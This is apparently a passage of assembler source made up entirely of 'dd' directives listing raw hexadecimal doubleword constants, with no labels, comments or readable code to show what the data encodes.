		dd 0F43A4D1Eh, 53A8D3B2h, 0BACD5EABh, 0B0676B35h, 0D9EC9A1h
		dd 0DBEDB6BBh, 0A6EB66CEh, 6FB7BB8Dh, 2997AEDFh, 98FC3E1Bh
		dd 92C2E371h, 0BCCE5F2Bh, 0D05D72F9h, 3E9F4BA3h, 0EBF5977Dh
		dd 0AF5BB3D8h, 0F7961DC5h, 0FE61E0EFh, 0BE4F1ABDh, 0AAF2F9BCh
		dd 7552A554h, 0F7FB952Ah, 9FC949F0h, 7CFEBF4Fh,	7BF1F84Ch
		dd 7F29EFDAh, 4964F7Eh,	8D25A028h, 81604234h, 0E0982608h
		dd 0D8360C21h, 60942520h, 91252102h, 85E16854h,	0C8B24618h
		dd 0E2321B86h, 848387A1h, 241FC838h, 5A07F1F2h,	0E2689E26h
		dd 0E8B62C1Dh, 0C6301C22h, 658C2328h, 8DE368D4h, 0C5E19638h
		dd 0C8F63C8Eh, 94591663h, 408E6341h, 90246916h,	24A92456h
		dd 0E9345192h, 325093E4h, 5494E521h, 95A56956h,	0A5A96447h
		dd 0E9744B96h, 766097E5h, 6498E5B9h, 99C4096Eh,	6679A668h
		dd 89B44895h, 18409A84h, 3811A721h, 9D6740E0h, 0A7A9E678h
		dd 0E9F42E9Eh, 4300BA7h, 84A0E82Ah, 881A0C6h, 1506018h
		dd 0D07C1F06h, 0A89A3C1h, 3418074h, 4340BA51h, 0A9843112h
		dd 645D0D43h, 86A04651h, 214711CAh, 49126A95h, 0C17AA417h
		dd 0E4B52A4Ah, 34FE07AAh, 0A930AC5h, 0C2AAD6B4h, 70C93E4Eh
		dd 0F942AEC3h, 44AF5410h, 5294B0F9h, 0AC65454Eh, 1B2461B1h
		dd 646117C6h, 61B3ACE5h, 59AD2B45h, 0C7920628h,	0A5B2D85Ah
		dd 75745C88h, 7AB7D77Bh, 5F57E269h, 2E65F0A2h, 760982B9h
		dd 2D8A61D8h, 92BBD906h, 65593BC5h, 19D66198h, 5302F830h
		dd 9DA5BEDAh, 0BFD9F6h,	705C1BFFh, 0DA9329C4h, 0A331B76Fh
		dd 370CC2F0h, 0CC6C30ACh, 0C4F0E6D4h, 0B0AC4B13h, 7C17056Ah
		dd 51CF739Ch, 20C7F1E7h, 769D2C87h, 726770BBh, 0CA5E12Dh
		dd 0A5E679DEh, 0F17C1E97h, 7CDF62A5h, 0DFE291FBh, 0ACE738CDh
		dd 1E037E5Fh, 3FCFE0A8h, 21E1F837h, 610D1213h, 0A8721986h
		dd 288C8774h, 50892222h, 8AE2A897h, 0E33D562Eh,	0A8E632D5h
		dd 7B5C8FB5h, 428F4601h, 91A47D6Ah, 8561664Bh, 1DA65014h
		dd 5E4D1305h, 56DBF6E9h, 9B7729BAh, 0E6097265h,	0ADE67098h
		dd 739AFEB7h, 9CA6ADCFh, 0E7BE0271h, 69FF84E0h,	9830A038h
		dd 83A10260h, 0A268807Eh, 4150568Ah, 0DA3E8EA3h, 180B0601h
		dd 9701C060h, 4511540Eh, 69AA6E9Bh, 102E9EE7h, 92A3E9EAh
		dd 2347EA5Ah, 0AA7AEAA9h, 0C1E086ACh, 1AC3B2ECh, 0A6B4AC6Bh
		dd 3D4EAB60h, 0AED3F4FDh, 0D4351837h, 350EC1AFh, 1EC5B12Ch
		dd 0CCB2AC8Bh, 0B4ACFB3Eh, 56657FD0h, 9B65681Eh, 66DD216Dh
		dd 78B7D75Fh, 268A25E5h, 0AE1282E8h, 0B602E9F7h, 0BEED61AEh
		dd 0F3BCAF0Bh, 666F565Ah, 2FABE59Ch, 930FF4BFh,	0F00C05Ah
		dd 770F04Ch, 0C5309C23h, 0DC30Eh, 0FFB11807h, 1A630331h
		dd 38720E3Bh, 758F1C96h, 0C10644Ch, 864E7699h, 90599532h
		dd 9971E465h, 9EE6607Ah, 13C7D599h, 7FD9D1F2h, 9C1FD3F8h
		dd 3D1307F1h, 56D019F3h, 0B909A0E8h, 43484270h,	0F116D2DAh
		dd 2D3DA6A1h, 1A9A276Ah, 22F6AA89h, 6B50F9ACh, 5AEA38FEh
		dd 70484D7h, 6C619620h,	0D902B248h, 0B536A0ACh,	4F89EDC1h
		dd 0CC9B9BECh, 0E12FA644h, 0EB7B6F6Dh, 98A4951Bh, 0E042337h
		dd 1D83808h, 0A788C6E1h, 609F5C3h, 0C1C6388h, 0C839751Ah
		dd 1D516E41h, 30E59CA0h, 21CD00C7h, 0C3A153C0h,	55304214h
		dd 4E9C8C3Ah, 0C083A954h, 0AA8244EAh, 558EC1D7h, 0EDD57BB3h
		dd 0DD02A770h, 0BC778AD5h, 84AF1DFBh, 5E12BF7h,	514C78EBh
		dd 0C594F29Eh, 8F3966BCh, 1E83D12Bh, 9630F259h,	2DEF596Ah
		dd 0F716F3DAh, 0EFAE112Ah, 0E37C6F81h, 0CE5F9F2Bh, 0A8C53E87h
		dd 0A3EC320Fh, 57DC6545h, 0ABE5F8AFh, 1FBBF47Eh, 0BFA188FEh
		dd 34EC19FDh, 10DF3FEh,	864CA80Bh, 0C805325h, 14C64D4Bh
		dd 3E060C78h, 89CD1750h, 616D0460h, 87658F0Bh, 0A0B41582h
		dd 0AF830CAh
		dd 83B07197h, 80FA41Eh,	12426843h, 9DB092h, 5681901Ah
		dd 150620B8h, 0FE0C41C8h, 630BA17Ah, 0D5A5B498h, 0C43769D0h
		dd 0B0F65A21h, 0B0F03F87h, 222C3E45h, 44646311h, 4791091Bh
		dd 90C3A865h, 22C48488h, 4D896925h, 371428CCh, 4823A54Ah
		dd 3A596E91h, 808EDD53h, 0DCE2CC5h, 9383726Eh, 0C5F4E317h
		dd 8C919230h, 0E181C27Dh, 1E534078h, 8E8D8A08h,	0DD1B9472h
		dd 580C4708h, 380B72EEh, 7A840200h, 20388B47h, 0A3EBA18Fh
		dd 0AA08FF1Fh, 90720A40h, 21E433ADh, 0DAAAE257h, 0B926922Dh
		dd 72EF55ABh, 7A4ABC05h, 6BC778B5h, 0B934534Ah,	0F27E4E3Ch
		dd 0D68CA179h, 8797A859h, 2DAF596Bh, 0F72554A9h, 0BACB095Ah
		dd 0B47CAB8Ah, 6F2D8C44h, 0EA5C98D9h, 0F3EF9772h, 1980BE25h
		dd 0AC057F4Ch, 0A621AA98h, 0CC87F934h, 8006F667h, 342C8D8Eh
		dd 699A79A3h, 1D9ACC6Eh, 21368E73h, 7D8FCDC8h, 14E11613h
		dd 665905E7h, 0D3A673CEh, 0E774F083h, 0C2466E7Eh, 9E93CD9Eh
		dd 27FEC4F7h, 4FA42483h, 42D3F218h, 3FE1A433h, 1C223445h
		dd 5A0889Eh, 121DE83Dh,	3519D0AAh, 8C4246B4h, 60E81D68h
		dd 0E91E8AC4h, 0A8CD16A2h, 51C49F74h, 6FB47A28h, 0DD420266h
		dd 0B9269A4Ah, 7E099755h, 0C09CDBD3h, 1297C628h, 0AA78078Eh
		dd 40614D69h, 20880E82h, 6F85398Eh, 392A771Bh, 5214F9C9h
		dd 50AA1B9Bh, 4A54722Fh, 0A552D521h, 52EA2A63h,	440A4837h
		dd 6BB1AA55h, 1AAEED95h, 0CAD2AC93h, 89E13D77h,	614ABCAEh
		dd 0AC4B0EB0h, 0B2AB2D64h, 0B4AD0ACEh, 6D2CA582h, 4E1F1EA5h
		dd 6EB8CA89h, 0B574956Fh, 95D32C6Bh, 8626BD57h,	0E5CD7DAFh
		dd 0D811712Eh, 0B08FC8CDh, 30C65AFCh, 0C5D89B11h, 0B819731Eh
		dd 6FF8D91h, 4F22D928h,	49C262F6h, 8B3102E0h, 8C86CDD9h
		dd 26F4DD9Bh, 0DA2B4276h, 65E79ED1h, 0CCED3DA6h, 2EDAA3F4h
		dd 0F1CB9097h, 590AA794h, 0D59D0878h, 0C5B74296h, 6B0CFEEDh
		dd 4680C368h, 0BDC1B80Dh, 987B4183h, 0F4311AD0h, 11F23AB8h
		dd 875A241Bh, 89773AE3h, 92526B64h, 0EFDD3BA6h,	73BAEDBAh
		dd 0E176E91Bh, 4B435DE4h, 152908C9h, 6BCAE0AFh,	14D53DDEh
		dd 13ED3407h, 0A8FBDA09h, 0A734E2F7h, 0E469DD3Ah, 0FD290BEAh
		dd 9ED4E01Eh, 26038822h, 523E5FD0h, 13A6A944h, 59024670h
		dd 121B03E0h, 81292991h, 0E0C26007h, 91D23813h,	849DF138h
		dd 0A3C1575h, 6192F257h, 0A1866B1Dh, 7164C9C2h,	0EE1EC3B8h
		dd 3C43880Ah, 0CF62B7E2h, 0AB9E27C4h, 0D78C558Ah, 7D229B16h
		dd 0FB059E30h, 0F84BCC66h, 38C6E669h, 75618D26h, 0A31E302Ch
		dd 4E3F1886h, 0C36F8FF2h, 0D005841Bh, 0D86F8C8h, 59561B90h
		dd 0C9935725h, 0C7B2764Dh, 2959DCA0h, 55CAA76Fh, 362B5966h
		dd 0D72D6598h, 765ECC07h, 2CC308E7h, 198D0320h,	0B33B3868h
		dd 0A1ACD36Dh, 0B790D735h, 702DF5BDh, 43BA0DFEh, 0B894203Ch
		dd 43689E76h, 96875A21h, 7F46B9E3h, 0A312A24Eh,	1341851Bh
		dd 784FBA5Ah, 2A3BA382h, 94874545h, 39DE8D6Fh, 0A6ED2095h
		dd 0D2BA4DBDh, 0A66F5279h, 1369B05Dh, 0EF72DA6Ch, 0E7A829FDh
		dd 0DAFAD3CBh, 3B9B02B7h, 0D0177EF5h, 7AA88A80h, 14DC7B21h
		dd 54DD65ACh, 90B54302h, 840B2AAh, 0D9554556h, 0BDD79AE9h
		dd 8556B5FEh, 1BBBEDh, 3BC4D8C5h, 9C3052CAh, 0DB3765BCh
		dd 0A506CF93h, 621DA787h, 0DAEF5EB7h, 5DA55D71h, 6EEDBDB6h
		dd 7CDC18B7h, 0EDB93195h, 0A7746365h, 0FEEF985Bh, 0FDDFBB8Ch
		dd 26A0E263h, 0CDB316DFh, 9B0F4033h, 37E6E867h,	65B7E405h
		dd 8E700C97h, 4E07C09h,	0AE75728Fh, 87846543h, 58AD3CE7h
		dd 0E66539F8h, 0BC472DF0h, 0A14F10CBh, 898E2FC5h, 0E347F904h
		dd 0C778E42Fh, 4666C695h, 50B7D6F0h, 0FF41791Bh, 0B3930780h
		dd 7DC6B888h, 0FE2572B9h, 3B987DAAh, 3654957h, 0AE6FCDBFh
		dd 5CE79CB6h, 92D253E8h, 688E7CDCh, 0FCD75537h,	0A45B7FE6h
		dd 9745E8BBh, 32E95A56h, 0F7A6F4D5h, 46F769CFh,	0D69F51FDh
		dd 75675446h, 5A00D5F5h, 36A96A87h, 1086AC10h, 0B16B06ADh
		dd 76B47646h, 6096B776h, 0BB6BB128h, 21316BD6h,	61060F77h
		dd 78777775h, 0B2C24967h, 56205477h, 7F56477Dh,	115A7817h
		dd 56D7846Dh, 89788624h, 0C78C78A7h, 6DE2EA6Dh,	912EE2EDh
		dd 77936E37h, 3F358219h, 0AE3F66E9h, 79B79A1h, 6F379D6Fh
		dd 0CF1B77A4h, 67A38470h, 1BB7A664h, 141B66F5h,	40CA6F23h
		dd 40C7AD4Dh, 47B07AFh,	659F1D47h, 1E36567Bh, 0BB0AD7B9h
		dd 0F4E97BD7h, 5AD7C07Bh, 57C25AEh, 0B71A3392h,	71C4FA09h
		dd 2066C5B9h, 2247D07h,	7B50567h, 0D87277D5h, 544072A7h
		dd 72D07807h, 477DD72Eh, 0B7E25154h, 44C73624h,	0F07E57E4h
		dd 0E8FE73A7h, 0F73E04C7h, 68E04851h, 6E7F0887h, 245826D3h
		dd 69446138h, 9827227Ah, 0C4665E86h, 267FB7Fh, 5175169Dh
		dd 2897537h, 80428929h,	5A75C392h, 0E75C5457h, 80B80C75h
		dd 7D6AF29Dh, 0A7657644h, 1253AB3Ah, 14551124h,	256B98h
		dd 48D55777h, 1C6C160Eh, 881E2BA8h, 4A6C877h, 2382404Bh
		dd 71516CB8h, 78006782h, 6F6D149Fh, 50731630h, 78782C78h
		dd 8A3DA82Eh, 583178B7h, 83462C57h, 0AE18E790h,	38386310h
		dd 79583A63h, 0A683D583h, 158A83F1h, 58C4C784h,	0B5845640h
		dd 98F28481h, 84B8F24Ch, 67A784Ch, 36FE30E4h, 85585485h
		dd 5A859702h, 0D1E53298h, 7BC7BB85h, 62333860h,	91FC7128h
		dd 9690C42h, 6890E428h,	0B21386A8h, 91491409h, 680914FBh
		dd 0D9192166h, 66E71F86h, 0C0872438h, 77D78755h, 44650A87h
		dd 7567C7D5h, 0E87E06C0h, 7335167Dh, 0E3517881h, 3124FEF7h
		dd 188F5D39h, 88B7E87Fh, 357E888Dh, 22578909h, 26974689h
		dd 42273274h, 64668989h, 2489C38h, 9D7FE89Eh, 55F053F6h
		dd 8A65F339h, 6102015h,	50060088h, 1031083Ah, 9D2976ABh
		dd 500629E2h, 80F00A00h, 52A3810h, 83AD6066h, 1288B92Ah
		dd 278188BBh, 12B62B60h, 81F4928Ch, 0C68212C0h,	98258C88h
		dd 8CE8CC61h, 0A38D03CEh, 0A56F7854h, 8D96D82Dh, 2B8DB4ACh
		dd 0F78F8336h, 8E118D8Dh, 0E4792191h, 70C30B98h, 83D7966Eh
		dd 9B6ED1ABh, 0F6FD79C7h, 8F58F079h, 981BD8F5h,	0D8F78F69h
		dd 31331684h, 0FC8521C4h, 0E4D859A8h, 9004DA8Fh, 0E61DF901h
		dd 69057B91h, 33490790h, 0FB90A909h, 242990D1h,	9B791542h
		dd 479129B8h, 82179183h, 71E21066h, 7086F21Fh, 25049208h
		dd 9245C392h, 2D87B879h, 287E8787h, 92F5D073h, 4D059733h
		dd 0B44D9334h, 24E04F93h, 1C265937h, 538885FEh,	193B9D62h
		dd 5DC26F89h, 75942943h, 789B9452h, 2289F94h, 7294C9EAh
		dd 48A54734h, 0D95280h,	0F311675Dh, 79F680C9h, 39A47D54h
		dd 0B295F95Dh, 396211A8h, 8B612696h, 69021967h,	78BC1329h
		dd 96E8BF13h, 1F55D13Ch, 425E4978h, 6CC8CA97h, 781596CDh
		dd 25699799h, 8D58D48Dh, 0D716D16Bh, 29803D98h,	78E4B098h
		dd 8C986579h, 0E9880AE1h, 58057F57h, 0BF0BE6E6h, 0A1A18E84h
		dd 58779A58h, 496EF993h, 0B8459966h, 7A599999h,	3C99D8F2h
		dd 0C8F9642Ah, 9A38FB30h, 0A60C29A4h, 14134109h, 0AF0B590h
		dd 0AFA4A32Bh, 0F9AD9AC0h, 9B10A49Ah, 0B09865Eh, 733D9B49h
		dd 91509433h, 0B89B91F8h, 89BB4FB9h, 5BA42E91h,	0C1A6221Eh
		dd 491F91E9h, 8768749Ch, 75238728h, 9CA7D40h, 92B7DC07h
		dd 2E9CE237h, 52478819h
		dd 88F88688h, 5B51B251h, 0E88893A2h, 9DCA809Dh,	0FE26F26Ch
		dd 5E37F93Eh, 67F99E34h, 7FC9459Eh, 0E994874Eh,	0D9EB9EB9h
		dd 6A39EE94h, 0D39C5F5h, 19559F80h, 6AA9589Fh, 0FA3A5761h
		dd 0E00595D9h, 9FF9FD95h, 6A2A76B5h, 812D3B17h,	1306BC96h
		dd 0B560DA07h, 4A0A6C02h, 8C46C56Ch, 5D8C63C6h,	2A118C82h
		dd 8CD566A1h, 0D16D0A15h, 662197B3h, 0A1C7862Dh, 208D997Fh
		dd 0E183983Ah, 19062F8Dh, 0E3989A26h, 0C3A2A8h,	0A2DA2C0Ch
		dd 3B8EBA2Eh, 658BA336h, 0A387A0A3h, 3D847ADCh,	30D31B2Ah
		dd 84884C0Dh, 0C59A084Eh, 0EA4240A1h, 0A46A457Ah, 0DD5A29A8h
		dd 2A4A9AA1h, 905A4E1Eh, 52A51A50h, 77149B2Ah, 1FE422A5h
		dd 0B5A5CA5Ch, 0D4FA2155h, 7CF86E7Ch, 22082224h, 907F8727h
		dd 43FA6AA6h, 24070236h, 0D87C9CA2h, 0A73A7267h, 49732A74h
		dd 9A783634h, 51A7F036h, 7D36F7E9h, 1A8173BAh, 253A82B2h
		dd 0E193E744h, 0B94352C9h, 3603603h, 0A8FEA9E5h, 49947A8Bh
		dd 0AB329EA9h, 8A4A9294h, 7392A94h, 0A75D1080h,	9F211539h
		dd 0B075E9F7h, 9A9F1158h, 0AA3AA1A9h, 0A67678B4h, 0B8BAAA8Ah
		dd 3B7AAC8Bh, 6EAB02B6h, 0E779AB29h, 0AB69712Bh, 0C9618AB7h
		dd 0D977A118h, 2D3ABEABh, 0C18D3073h, 0A08597DAh, 830AC508h
		dd 32981575h, 54B49848h, 0ACD2EF83h, 2B98BA28h,	0CAD5AD4Ah
		dd 8EB4C36Eh, 0A4844AD8h, 0FA38ADD7h, 0AE10D0ADh, 391BBB7Eh
		dd 0CAE7AE6Ah, 4D7AE97Ah, 0B4706AEBh, 14E0AEF7h, 416A491Eh
		dd 0F5AF4AF3h, 1AF65AAAh, 90D66071h, 0FDA5BAFBh, 5AFFAFDAh
		dd 91DB025Bh, 71870221h, 0A077B088h, 675923B0h,	0F078235h
		dd 59CBB11Bh, 61B1392h,	0D07E192Dh, 94483665h, 739250B1h
		dd 1F51D5D2h, 0E04C889Bh, 0B220509Dh, 0E7BBD04Fh, 0B2722557h
		dd 69004845h, 2B040943h, 0EB2CBC9Bh, 0A8CA8AB2h, 327FE74Dh
		dd 0C800BD1Bh, 95046D46h, 75D0FE0Eh, 0FA00D007h, 775DB3D9h
		dd 8B09F89Fh, 0BAA0B43h, 2AA2AA10h, 0AA5AA46Bh,	4C967126h
		dd 0C12FB4CBh, 77396C48h, 96A0C8C1h, 0F2C2B534h, 0AB96CA25h
		dd 0CEABB8CBh, 84A16CF6h, 3D797CA1h, 1F82F625h,	68DA4B0Ah
		dd 3E7A2257h, 2618FB6Ch, 0AB6F8E1Ah, 0AD298CA2h, 753F498Fh
		dd 8840C13Bh, 0B793FDADh, 7C8F5B7Ah, 0AC1CB7EBh, 31499B1Bh
		dd 85AE89A1h, 0B874D9Bh, 32641332h, 154E01DEh, 4329AEF4h
		dd 9AE9AD90h, 94B929AFh, 0B90CB95Bh, 989B8AFh, 0C89B7B99h
		dd 5B9D42F7h, 0B05B9FA6h, 6670B07h, 99C7BA45h, 0BA967250h
		dd 0AD7D9B11h, 8059BAEBh, 5167E206h, 0B45155CFh, 9BB8885Bh
		dd 9D65DFBBh, 53C59053h, 0C5C0500h, 0C5EA80BCh,	737E7256h
		dd 4FBBB2h, 0C67BCA38h,	0E7BCC465h, 1B3189C9h, 5F2B33BDh
		dd 2D9508A4h, 69F2BD70h, 9F395400h, 419F6B3Eh, 1BE1B42Bh
		dd 0BE5BE3AAh, 0BE7602FEh, 142A7B48h, 0EA05BEB8h, 96D8BEBEh
		dd 0C53C0BF1h, 0B2BD1456h, 0A0FBF504h, 13AB9975h, 0D781ABCAh
		dd 0BFFB5FBFh, 26570C00h, 5B669806h, 8DD8DCC0h,	882EDB6Bh
		dd 2C0B9879h, 0C0E57E6Eh, 3CAD36E7h, 3C144C08h,	0C17C16C1h
		dd 3B0D06F9h, 0C998C1EAh, 0C1CB7DB7h, 1F1B2C1Dh, 3C22B82Ch
		dd 0C251CCC2h, 2A4DFC26h, 5C29414Ch, 0B8F1DE7Bh, 92C31A4Fh
		dd 3712B93Bh, 0B97B9671h, 16C39337h, 0DB9C7C99h, 0C3F220C3h
		dd 73920BA0h, 767407B6h, 92735135h, 1335887Ch, 0D2CA065Bh
		dd 7E0C4EC4h, 845CE731h, 544EA816h, 25825AC5h, 3B254CF1h
		dd 0CC5AC5A9h, 0C5DC59C5h, 0C1C64A81h, 673A9DDBh, 0B2A45E7Eh
		dd 79D03C67h, 0C387C6A2h, 0C6EBCFC6h, 73471C6Fh, 0D0159504h
		dd 0BD701C02h, 0F2C76954h, 0EA9775C9h, 0BE4A9F80h, 0B2BE4AA0h
		dd 63ABC828h, 609127AAh, 0AD12FBEBh, 0CAAF96BAh, 0FEC96E96h
		dd 3C3C8DC8h, 5625D496h, 0AC93563Bh, 0BFB8278Ch, 0D4C9861Ch
		dd 8B6382D8h, 0C9E6D96Dh, 0A1D3D78Bh, 4C08CA2Ch, 0CA7C0ACAh
		dd 9A4BCC0Dh, 5B72AD11h, 0B75CAF3Fh, 0F958DCB1h, 8F7CB56h
		dd 0CBAA3DD5h, 0F5CB6CBAh, 597CBE8h, 0CC2CC1CCh, 0C5B89B88h
		dd 0AB8EC2CCh, 860B90CCh, 531F2CCDh, 0AF9713Ah,	0C38CD291h
		dd 3B915CD4h, 0A21F213Ch, 0B0208A08h, 0A29C3CDAh, 5CDE22CBh
		dd 5BE232BAh, 57CE3B10h, 82CACE53h, 0A76D8206h,	46CEB248h
		dd 0C9DE9342h, 68A7E9B1h, 8F24D255h, 0EC59CF68h, 0D93C5D23h
		dd 52C64CFBh, 7D00CFF2h, 0D0203B26h, 5C68D03h, 727ED06Dh
		dd 0A8FBCF94h, 72C71D0Bh, 7BD7020Ch, 5430086Ah,	179F2806h
		dd 0AB439F9Dh, 0C80C7ED1h, 1FD1E54Ch, 3D22B49Dh, 2AA07D2h
		dd 1BBEFD26h, 0D2A81C8h, 2612C02Ch, 1ABF8D30h, 7D342CD6h
		dd 7AABF56h, 0D6A1AB60h, 0CB65B646h, 0C8FEDAD3h, 4ADB684Ah
		dd 8A4B5C07h, 0BA25CA51h, 0CA9C0CC0h, 0AC6363EEh, 7D4B83DCh
		dd 0C18C16ADh, 0B8848B7Ch, 3D55D54Ch, 30DCBD1Bh, 5A6FFC21h
		dd 8D5CD5BDh, 0D5FCC485h, 2FC2E655h, 0D65A4E8Ch, 0D6741F65h
		dd 6B5AB710h, 0DD6DD6CDh, 94D6FA5h, 0CDD73D71h,	0C7D0D757h
		dd 0D7922DCDh, 0A8070C45h, 0BBAA7D0Bh, 0A72D7FBAh, 84D83D81h
		dd 523F448Dh, 0D8705E24h, 53D9024Eh, 26849350h,	254263CFh
		dd 5CCF6519h, 0C0580583h, 0C5CD9323h, 0FCC607F0h, 0B27093BCh
		dd 0D04D9DD9h, 0FADA0D9Fh, 0ADA389D7h, 0DA67FFD0h, 2202D8A6h
		dd 7DAA00E0h, 0C79A9680h, 0FABE1117h, 0DDB3BE49h, 0A00B47D1h
		dd 0ECDB9C84h, 0EDBD3B8Bh, 0C8CD29DBh, 60D2D971h, 0ADC6BF72h
		dd 0DC96CEABh, 994A28CFh, 0A2D8B61Ch, 0D72A1C08h, 0C6DD2D3Ah
		dd 53E6D3FAh, 0D43DD998h, 0E598AD44h, 0DCACA2C8h, 0DE3CAECAh
		dd 8EAD8A32h, 8A3AA3E5h, 3E7CFECBh, 0CBBDEA1Bh,	0FA998DECh
		dd 4DF1DEF8h, 7B3DF39Ah, 0F7CC5D5Eh, 7CCBD62Dh,	9B0D655Ah
		dd 0CF1FE7C0h, 9E03D6BCh, 8C7C89Bh, 65CD8210h, 2BA1BA0Ah
		dd 22FD78C4h, 0D5CE1C47h, 4E1307B7h, 87EC4AE1h,	0E9D82E17h
		dd 0C363365Ch, 23D24035h, 2024D240h, 57E6C5AEh,	44F24988h
		dd 29C5A886h, 0AEBCE2AEh, 0E2D05EE2h, 90D8FD94h, 0B37B04CDh
		dd 0E35D9CD9h, 3827BB2Bh, 0C6CE39Eh, 8A3C6E75h,	26D0EBD5h
		dd 0A807E410h, 0DAE75D5Fh, 48116ED8h, 0CAA139AEh, 0DB5960B3h
		dd 4F2A6DB6h, 30173B1Eh, 0DBEC88D2h, 56775DBFh,	6E58820Eh
		dd 0C94D31BFh, 3561B566h, 0C0772D2Dh, 6D6C9ADCh, 68173D3Ah
		dd 0BAC8B66Eh, 0AE4B4E6h, 0DC8E0D42h, 18E3DDDDh, 3F2C10E7h
		dd 0C41A3E74h, 7E761A20h, 591993E7h, 0BBF11E7Dh, 1DEBE7F1h
		dd 0B828F2E8h, 85DF0851h, 0AE87B86Eh, 0C2AC270Bh, 63E8CE8Bh
		dd 3D66AF5Dh, 0E92C3FEh, 0E95E01E0h, 98667E96h,	0EE9AE06Eh
		dd 0D767217Ch, 2DE0D723h, 0A7D57D02h, 0E13F379Ch, 78BAC43Fh
		dd 0AEAA49C6h, 59EACEAh, 4244223Fh, 9EB3442Fh, 56BB4C5h
		dd 0E624F36Fh, 0D23CE287h, 23BEBCEBh, 50EC0F50h, 123BF470h
		dd 0EC5B27E2h, 0C9EC8E34h, 0CECBECABh, 7FDBCE74h, 0EFED0D0Ah
		dd 2ED39509h, 0BD9E44E4h, 7CD15E45h, 0EEDCEDBCh, 603DB4EDh
		dd 3C83E4Dh, 8558E51Ah,	610C8AEEh, 0C1820DC1h, 0AEEFDC42h
		dd 2CC49CB5h, 61568E5Eh, 10770731h, 81DCEE6h, 1DE64D72h
		dd 8EFB4A9Ah, 0D40A2162h, 0D9A262EBh, 0EF03DDADh, 634DDE0Ah
		dd 732F83F0h, 0BF0AD49Eh, 0F0D0C3F0h, 10F0F992h, 4D53F12Fh
		dd 0CB9D54F1h, 17AE3AE2h, 0B31ADEEFh, 0F1D8FDF1h, 8BDF51D0h
		dd 885D4E2Bh, 0F24DF9DFh, 1F264EAh, 0F0A1AFCEh,	0F2A0A1FBh
		dd 99B9CC3Ah, 0CF30F2FEh
		dd 0E9EB09E9h, 0ABA8672h, 0FED5C48Eh, 50740747h, 7DAA6BEAh
		dd 85F3FF3Eh, 950F246Dh, 0EB323EFDh, 4FC539D3h,	23DF562h
		dd 0FE3FE206h, 60EBCFE2h, 0B050F510h, 5023BE2h,	3AFEA05Eh
		dd 62695DC7h, 0F5DF5CECh, 0A2DA0F5Eh, 2DA474FDh, 0F66F6580h
		dd 0D9F69ED4h, 0B100952Bh, 340A040h, 341E0D05h,	8140C058h
		dd 3C150202h, 0C2111884h, 2C148A44h, 0D168C45Eh, 210B46C2h
		dd 0F9047E3Ch, 138944B1h, 509E4D25h, 4AE55291h,	0BE5C3295h
		dd 0E63311BCh, 6C3E1F8Fh, 44B9B4DEh, 52294EA7h,	0E2A4FCA8h
		dd 0A250E813h, 0D1CC345h, 19E905F3h, 0BE994DA6h, 0EA351A81h
		dd 0AC79AA1Ch, 559409E6h, 8A455650h, 452150Ah, 0B258EC49h
		dd 459D2B63h, 5AAD569Bh, 6ADD6D4Dh, 6E571512h, 0ED75535Ch
		dd 979575DAh, 79BCAB15h, 0DBEDFD67h, 0C260D697h, 0CAE170B4h
		dd 2F97D895h, 3718C060h, 0D878DC86h, 8993CA64h,	59761E5Dh
		dd 9CCE66F3h, 6FE7D97h,	68745A1Dh, 9F4DA567h, 0DA1A5D46h
		dd 5DADD66Ah, 4D3D6EBFh, 0B5DA6CF6h, 0FD7ECB6Dh, 666EB74Ch
		dd 53337DBDh, 31F83C16h, 1F8DC561h, 0B95C9E47h,	9DCD5D72h
		dd 0DD1E873Fh, 0D0E8AD96h, 0BEC75D77h, 0EDF6D6ABh, 77FBCB0h
		dd 0F8D5BDEFh, 9FCCA9F1h, 153E9F47h, 0DDEDF629h, 0CA4F87BFh
		dd 0F5FA7CD3h, 9FC2613Dh, 0FCFEFF5Fh, 7FD429Bh,	64D9430h
		dd 340B024h, 4124A40Bh,	84641305h, 841E4641h, 1507C230h
		dd 3F906419h, 0C330C42Eh, 90E0F63Fh, 0F8EE3FC3h, 350B42A3h
		dd 130F03FCh, 44E3A8EBh, 115C5714h, 2C5F170Eh, 6632C603h
		dd 1AC6B1A4h, 0D0A3A91h, 0A2CC751Dh, 0F0B31F47h, 87214822h
		dd 22C8B224h, 0C93240A7h, 0B260AC27h, 80A326C9h, 0A7294A32h
		dd 2F0A72A4h, 0C121C92h, 0B2E4B72Dh, 0C0B12E4Bh, 0B42F0C02h
		dd 278A02F4h, 4D220090h, 7364D735h, 0B4DE1DCDh,	0E7394E21h
		dd 713FE94h, 0C1C4EF3Bh, 0E4F73D05h, 493D4FB3h,	40D03400h
		dd 8454203Bh, 5440440Eh, 0C03A0C04h, 1E0AD1A0h,	18523485h
		dd 0E07044h, 0B4B52F4Bh, 1A060681h, 134F2108h, 88A1C832h
		dd 0A2A8A546h, 0A8E54E8Ch, 0D5690A3h, 4E9203C1h, 94A5892Ah
		dd 25F59052h, 0A99A6497h, 0DA6E9C26h, 7CA12789h, 6128AA12h
		dd 0A951C287h, 4A7A9CA5h, 0BAAAA9AAh, 9EACAB0Ah, 0B2ABAAEDh
		dd 2D6B35A6h, 0AB7AD76Bh, 0BAE4B9ADh, 0FABADBABh, 0BFB02BDAh
		dd 95CC0966h, 0C3B08C2h, 73165CB1h, 0DEC8B1ECh,	0CEB2CCADh
		dd 9897A5E6h, 2D15EED1h, 83517D35h, 6F7EDFADh, 0D8603803h
		dd 37EDE376h, 8E1384E0h, 6616E5B8h, 1EEAB998h, 0ECE21886h
		dd 960EE3AEh, 8F03C2EEh, 0E3D4F23Ch, 3EF8BCF8h,	913ECF8Eh
		dd 64AFE3EFh, 594402FCh, 265703C0h, 1B05C170h, 994244A4h
		dd 1050A427h, 0B0CC4841h, 61150E43h, 4B9C4284h,	0F1154FEh
		dd 0B160E83Ah, 0A0E117E8h, 971B68F1h, 1C47032Eh, 0C811FC79h
		dd 0BAA48D1Eh, 4493216Ah, 0B7274A12h, 0AF4A82B6h, 6ADAC4A1h
		dd 1B26C72Fh, 44CC2C0Ch, 0D736ED22h, 384DF36Eh,	4F1B84E9h
		dd 9BA4FD3Ch, 3501414Fh, 0F425001h, 45D1343Dh, 0F0348D1Dh
		dd 14AD2608h, 0E5354C53h, 17C553F4h, 51D4482Ah,	0D4F52A25h
		dd 9555528Ch, 82469055h, 37595635h, 5C0655B7h, 5769A06Fh
		dd 0E9ED7B5Eh, 1D836027h, 7162D856h, 650CF644h,	8E6AA2A5h
		dd 2AE59D66h, 9DA9695Ah, 0D1DD5AF6h, 6DAE16CAh,	2F16F2E9h
